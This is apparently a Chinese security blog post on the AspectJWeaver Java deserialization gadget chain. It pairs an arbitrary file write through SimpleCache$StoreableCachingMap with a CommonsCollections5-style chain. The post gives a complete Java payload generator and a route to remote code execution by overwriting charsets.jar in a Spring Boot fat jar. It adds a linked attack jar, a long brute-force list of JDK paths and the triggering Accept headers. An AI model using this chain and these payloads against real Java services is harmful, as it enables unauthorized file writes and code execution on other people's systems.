1
2
3
4
5
6
7
| <dependencies>
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjweaver</artifactId>
<version>1.9.2</version>
</dependency>
</dependencies>
|
由于是打cc，加个cc的依赖吧
1
2
3
4
5
| <dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
|
AspectJWeaver链
AspectJWeaver 是 AspectJ 框架的一部分，是一个用于实现面向切面编程（AOP）的工具。AspectJWeaver 提供了在 Java 程序中使用 AspectJ 的功能，并通过字节码操纵技术来织入切面代码到应用程序的目标类中。
任意文件写
漏洞点位于org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap#writeToPath
拼接路径后写bytes到文件
查找用法，SimpleCache$StoreableCachingMap.put调用了writeToPath
能调用到put的地方就相当广了
而且StoreableCachingMap继承了HashMap，HashMap实现了Serializable，所以也是可序列化的
拼一段CC5
1
2
3
4
| BadAttributeValueExpException#readObject ->
TieMapEntry#toString -> getValue ->
LazyMap.get ->
SimpleCache$StoreableCachingMap.put
|
由于StoreableCachingMap是个内部类，用forName全限定名的方式反射获取
1
2
3
4
5
6
7
8
9
10
| public class writeToPath_withCC {
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("cc6.ser"));
Class clazz = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Constructor constructor = clazz.getDeclaredConstructor(String.class,int.class);
constructor.setAccessible(true);
HashMap storeableCachingMap = (HashMap) constructor.newInstance("./",1);
storeableCachingMap.put("writeToPathFILE",code);
}
}
|
多出了两个文件，其中writeToPathFILE就是我们指定写的文件
完整payload：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
| public class writeToPath_withCC {
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("cc6.ser"));
Class clazz = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Constructor constructor = clazz.getDeclaredConstructor(String.class,int.class);
constructor.setAccessible(true);
HashMap storeableCachingMap = (HashMap) constructor.newInstance("./",1);
LazyMap lazy = (LazyMap) LazyMap.decorate(storeableCachingMap, new ConstantTransformer(code));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazy, "writeToPathFILE");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field field = BadAttributeValueExpException.class.getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, tiedMapEntry);
serialize(badAttributeValueExpException);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception
{
java.io.FileOutputStream fos = new java.io.FileOutputStream("ser.bin");
java.io.ObjectOutputStream oos = new java.io.ObjectOutputStream(fos);
oos.writeObject(obj);
oos.close();
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException
{
java.io.FileInputStream fis = new java.io.FileInputStream(Filename);
java.io.ObjectInputStream ois = new java.io.ObjectInputStream(fis);
Object obj = ois.readObject();
ois.close();
return obj;
}
}
|
但是我感觉很2B，明明CC都能RCE了，还借助这链写文件
spring场景覆盖charsets.jar RCE
有任意文件写条件反射想到Spring FatJar覆盖charsets.jar去RCE吧
charsets.jar链接：
https://github.com/godownio/java_unserial_attackcode/blob/master/src/main/java/org/exploit/third/springBootFatjar/charsets.jar
在linux默认配置下，是不会加载charsets.jar包的。 默认 LANG=zh_CN.UTF-8，当把 LANG改为zh_CN.GBK时才可以加载charsets.jar
- tips：JDK HOME目录一般不是固定的，可以提前收集好JDK HOME的字典文件，爆破上传，如：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
| /usr/lib/jvm/jre/lib/
/usr/local/jdk/jre/lib/
/usr/local/openjdk-6/lib/
/usr/local/openjdk-7/lib/
/usr/local/openjdk-8/lib/
/usr/lib/jvm/java/jre/lib/
/usr/lib/jvm/jdk6/jre/lib/
/usr/lib/jvm/jdk7/jre/lib/
/usr/lib/jvm/jdk8/jre/lib/
/usr/lib/jvm/jdk-11.0.3/lib/
/usr/lib/jvm/jdk1.6/jre/lib/
/usr/lib/jvm/jdk1.7/jre/lib/
/usr/lib/jvm/jdk1.8/jre/lib/
/usr/local/openjdk6/jre/lib/
/usr/local/openjdk7/jre/lib/
/usr/local/openjdk8/jre/lib/
/usr/local/openjdk-6/jre/lib/
/usr/local/openjdk-7/jre/lib/
/usr/local/openjdk-8/jre/lib/
/mnt/jdk/jdk1.8.0_191/jre/lib/
/usr/lib/jvm/jdk1.6.0/jre/lib/
/usr/lib/jvm/jdk1.7.0/jre/lib/
/usr/lib/jvm/jdk1.8.0/jre/lib/
/usr/java/jdk1.8.0_111/jre/lib/
/usr/java/jdk1.8.0_121/jre/lib/
/usr/lib/jvm/java-6-oracle/lib/
/usr/lib/jvm/java-7-oracle/lib/
/usr/lib/jvm/java-8-oracle/lib/
/usr/lib/jvm/java-1.6.0/jre/lib/
/usr/lib/jvm/java-1.7.0/jre/lib/
/usr/lib/jvm/java-1.8.0/jre/lib/
/usr/lib/jvm/jdk1.7.0_51/jre/lib/
/usr/lib/jvm/jdk1.7.0_76/jre/lib/
/usr/lib/jvm/jdk1.8.0_60/jre/lib/
/usr/lib/jvm/jdk1.8.0_66/jre/lib/
/usr/lib/jvm/jdk1.8.0_74/jre/lib/
/usr/lib/jvm/jdk1.8.0_91/jre/lib/
/usr/lib/jvm/oracle_jdk6/jre/lib/
/usr/lib/jvm/oracle_jdk7/jre/lib/
/usr/lib/jvm/oracle_jdk8/jre/lib/
/usr/lib/jvm/jdk1.8.0_101/jre/lib/
/usr/lib/jvm/jdk1.8.0_102/jre/lib/
/usr/lib/jvm/jdk1.8.0_111/jre/lib/
/usr/lib/jvm/jdk1.8.0_131/jre/lib/
/usr/lib/jvm/jdk1.8.0_144/jre/lib/
/usr/lib/jvm/jdk1.8.0_151/jre/lib/
/usr/lib/jvm/jdk1.8.0_152/jre/lib/
/usr/lib/jvm/jdk1.8.0_161/jre/lib/
/usr/lib/jvm/jdk1.8.0_171/jre/lib/
/usr/lib/jvm/jdk1.8.0_172/jre/lib/
/usr/lib/jvm/jdk1.8.0_181/jre/lib/
/usr/lib/jvm/jdk1.8.0_191/jre/lib/
/usr/lib/jvm/jdk1.8.0_202/jre/lib/
/usr/lib/jvm/jdk8u202-b08/jre/lib/
/usr/lib/jvm/jre-6-oracle-x64/lib/
/usr/lib/jvm/jre-7-oracle-x64/lib/
/usr/lib/jvm/jre-8-oracle-x64/lib/
/usr/lib/jvm/zulu-6-amd64/jre/lib/
/usr/lib/jvm/zulu-7-amd64/jre/lib/
/usr/lib/jvm/zulu-8-amd64/jre/lib/
/usr/lib/jvm/java-6-oracle/jre/lib/
/usr/lib/jvm/java-7-oracle/jre/lib/
/usr/lib/jvm/java-8-oracle/jre/lib/
/usr/jdk/instances/jdk1.6.0/jre/lib/
/usr/jdk/instances/jdk1.7.0/jre/lib/
/usr/jdk/instances/jdk1.8.0/jre/lib/
/usr/lib/jvm/j2re1.6-oracle/jre/lib/
/usr/lib/jvm/j2re1.7-oracle/jre/lib/
/usr/lib/jvm/j2re1.8-oracle/jre/lib/
/usr/lib/jvm/java-1.6.0-sun/jre/lib/
/usr/lib/jvm/java-1.7.0-sun/jre/lib/
/usr/lib/jvm/java-1.8.0-sun/jre/lib/
/usr/lib/jvm/java-6-openjdk/jre/lib/
/usr/lib/jvm/java-7-openjdk/jre/lib/
/usr/lib/jvm/java-8-openjdk/jre/lib/
/usr/lib/jvm/j2sdk1.6-oracle/jre/lib/
/usr/lib/jvm/j2sdk1.7-oracle/jre/lib/
/usr/lib/jvm/j2sdk1.8-oracle/jre/lib/
/usr/lib/jvm/java-11-openjdk/jre/lib/
/usr/lib/jvm/java-12-openjdk/jre/lib/
/usr/lib/jvm/java-13-openjdk/jre/lib/
/usr/lib/jvm/java-1.6-openjdk/jre/lib/
/usr/lib/jvm/java-1.7-openjdk/jre/lib/
/usr/lib/jvm/java-1.8-openjdk/jre/lib/
/usr/lib/jvm/java-9-openjdk-amd64/lib/
/usr/lib/jvm/jdk-6-oracle-x64/jre/lib/
/usr/lib/jvm/jdk-7-oracle-x64/jre/lib/
/usr/lib/jvm/jdk-8-oracle-x64/jre/lib/
/usr/lib/jvm/jre-6-oracle-x64/jre/lib/
/usr/lib/jvm/jre-7-oracle-x64/jre/lib/
/usr/lib/jvm/jre-8-oracle-x64/jre/lib/
/usr/lib/jvm/java-10-openjdk-amd64/lib/
/usr/lib/jvm/java-11-openjdk-amd64/lib/
/usr/lib/jvm/java-1.11.0-openjdk/jre/lib/
/usr/lib/jvm/java-1.12.0-openjdk/jre/lib/
/usr/lib/jvm/java-6-openjdk-i386/jre/lib/
/usr/lib/jvm/java-6-sun-1.6.0.16/jre/lib/
/usr/lib/jvm/java-6-sun-1.6.0.20/jre/lib/
/usr/lib/jvm/java-7-openjdk-i386/jre/lib/
/usr/lib/jvm/java-8-openjdk-i386/jre/lib/
/usr/lib/jvm/java-6-openjdk-amd64/jre/lib/
/usr/lib/jvm/java-7-openjdk-amd64/jre/lib/
/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/
/usr/lib/jvm/java-1.6.0-oracle-x64/jre/lib/
/usr/lib/jvm/java-1.7.0-oracle-x64/jre/lib/
/usr/lib/jvm/java-1.8.0-oracle-x64/jre/lib/
/usr/lib/jvm/oracle-java6-jdk-amd64/jre/lib/
/usr/lib/jvm/oracle-java7-jdk-amd64/jre/lib/
/usr/lib/jvm/oracle-java8-jdk-amd64/jre/lib/
/usr/lib64/jvm/java-1.6.0-ibd-1.6.0/jre/lib/
/usr/lib64/jvm/java-1.6.0-ibm-1.6.0/jre/lib/
/usr/lib64/jvm/java-1.7.1-ibm-1.7.1/jre/lib/
/usr/lib/jvm/java-1.6.0-sun-1.6.0.11/jre/lib/
/usr/lib/jvm/java-1.6.0-openjdk-amd64/jre/lib/
/usr/lib/jvm/java-1.7.0-openjdk-amd64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-amd64/jre/lib/
/usr/lib/jvm/jre-1.6.0-openjdk.x86_64/jre/lib/
/usr/lib/jvm/jre-1.7.0-openjdk.x86_64/jre/lib/
/usr/lib/jvm/jre-1.8.0-openjdk.x86_64/jre/lib/
/usr/lib/jvm/java-1.11.0-openjdk-amd64/jre/lib/
/usr/lib/jvm/jdk-8-oracle-arm-vfp-hflt/jre/lib/
/usr/lib64/jvm/java-1.6.0-openjdk-1.6.0/jre/lib/
/usr/lib64/jvm/java-1.7.0-openjdk-1.7.0/jre/lib/
/usr/lib64/jvm/java-1.8.0-openjdk-1.8.0/jre/lib/
/usr/lib/jvm/java-1.6.0-openjdk-1.6.0.0.x86_64/jre/lib/
/usr/lib/jvm/java-1.7.0-openjdk-1.8.0.0.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-amazon-corretto.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.0.x86_64/jre/lib/
/usr/lib/jvm/java-1.7.0-openjdk-1.7.0.45.x86_64/jre/lib/
/usr/lib/jvm/java-1.7.0-openjdk-1.7.0.65.x86_64/jre/lib/
/usr/lib/jvm/java-1.7.0-openjdk-1.7.0.75.x86_64/jre/lib/
/usr/lib/jvm/java-1.7.0-openjdk-1.7.0.79.x86_64/jre/lib/
/usr/lib/jvm/java-1.7.0-openjdk-1.7.0.91.x86_64/jre/lib/
/usr/lib/jvm/java-1.7.0-openjdk-1.7.0.101.x86_64/jre/lib/
/usr/lib/jvm/java-1.7.0-openjdk-1.7.0.191.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.31-2.b13.el7.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.65-3.b17.el7.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.102-4.b14.el7.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.161-2.b14.el7.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.171-7.b10.el7.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.131-11.b12.el7.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.31-1.b13.el6_6.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.65-2.b17.el7_1.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.77-0.b03.el6_7.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.91-0.b14.el7_2.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.101-3.b13.el7_2.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.102-1.b14.el7_2.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.111-0.b15.el6_8.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.111-1.b15.el7_2.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.111-2.b15.el7_3.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.121-0.b13.el7_3.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.131-0.b11.el6_9.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.131-2.b11.el7_3.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.131-3.b12.el7_3.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.141-1.b16.el7_3.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.141-3.b16.el6_9.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.144-0.b01.el6_9.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.144-0.b01.el7_4.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.151-1.b12.el6_9.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.151-1.b12.el7_4.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.151-5.b12.el7_4.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.161-0.b14.el7_4.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.161-3.b14.el6_9.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.171-3.b10.el6_9.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.171-8.b10.amzn2.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.171-8.b10.el6_9.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.171-8.b10.el7_5.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.181-3.b13.amzn2.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.181-3.b13.el7_5.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.191.b12-0.amzn2.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.191.b12-0.el7_5.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.191.b12-1.el7_6.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.201.b09-0.amzn2.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.201.b09-2.el7_6.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.212.b04-0.el7_6.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.222.b10-0.el7_6.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.282.b08-1.el7_9.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.181-3.b13.el6_10.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.191.b12-0.el6_10.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.212.b04-0.el6_10.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.31-2.b13.5.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.65-2.b17.7.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.77-0.b03.9.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.7.0-openjdk-1.7.0.101-2.6.6.1.el7_2.x86_64/jre/lib/
/usr/lib/jvm/java-1.7.0-openjdk-1.7.0.131-2.6.9.0.el7_3.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.91-0.b14.10.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.7.0-openjdk-1.7.0.141-2.6.10.1.el7_3.x86_64/jre/lib/
/usr/lib/jvm/java-1.7.0-openjdk-1.7.0.171-2.6.13.0.el7_4.x86_64/jre/lib/
/usr/lib/jvm/java-1.7.0-openjdk-1.7.0.191-2.6.15.4.el7_5.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.101-3.b13.24.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.111-1.b15.25.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.121-0.b13.29.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.131-2.b11.30.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.141-1.b16.32.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.151-1.b12.35.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.161-0.b14.36.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.171-7.b10.37.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.171-8.b10.38.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.191.b12-0.42.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.201.b09-0.43.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.212.b04-0.45.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.171-8.b10.el7_5.x86_64-debug/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.181-8.b13.39.39.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.191.b12-0.el7_5.x86_64-debug/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.191.b12-0.el6_10.x86_64-debug/jre/lib/
|
用下面任意一个Accept去触发
1
2
| Accept: multipart/form-data;charset=IBM33722;
Accept: text/html;charset=IBM33722;
|
